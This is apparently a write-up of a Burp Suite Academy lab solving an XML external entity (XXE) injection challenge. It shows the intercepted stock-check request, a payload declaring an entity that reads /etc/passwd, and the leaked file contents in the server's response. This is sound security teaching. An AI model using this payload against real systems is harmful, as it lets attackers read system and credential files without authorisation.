Burp Suite Academy: Exploiting XXE using external entities to retrieve filesBurp Suite Academy

This lab has a «Check stock» feature that parses XML input and returns any unexpected values in the response.

To solve the lab, inject an XML external entity to retrieve the contents of the /etc/passwd file.

Checking the request using Burp: 

POST /product/stock HTTP/2
Host: 0a68001a04d55cd381e8e39400f400c0.web-security-academy.net
Cookie: session=gtxnmFU7c49iSNNe22C6D1NRLExxUvmL
Content-Length: 107
Sec-Ch-Ua: 
Sec-Ch-Ua-Platform: ""
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.5735.199 Safari/537.36
Content-Type: application/xml
Accept: */*
Origin: https://0a68001a04d55cd381e8e39400f400c0.web-security-academy.net
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://0a68001a04d55cd381e8e39400f400c0.web-security-academy.net/product?productId=1
Accept-Encoding: gzip, deflate
Accept-Language: es-ES,es;q=0.9

<?xml version="1.0" encoding="UTF-8"?><stockCheck><productId>1</productId><storeId>1</storeId></stockCheck>

Looking at the Port Swigger XML external entity (XXE) injection documentation we can learn a bit about this vulnerability.

Send to Repeater and add the payload.

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
<stockCheck><productId>&xxe;</productId><storeId>1</storeId></stockCheck>

The response will be:

HTTP/2 400 Bad Request
Content-Type: application/json; charset=utf-8
X-Frame-Options: SAMEORIGIN
Content-Length: 2338

"Invalid product ID: root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
<...>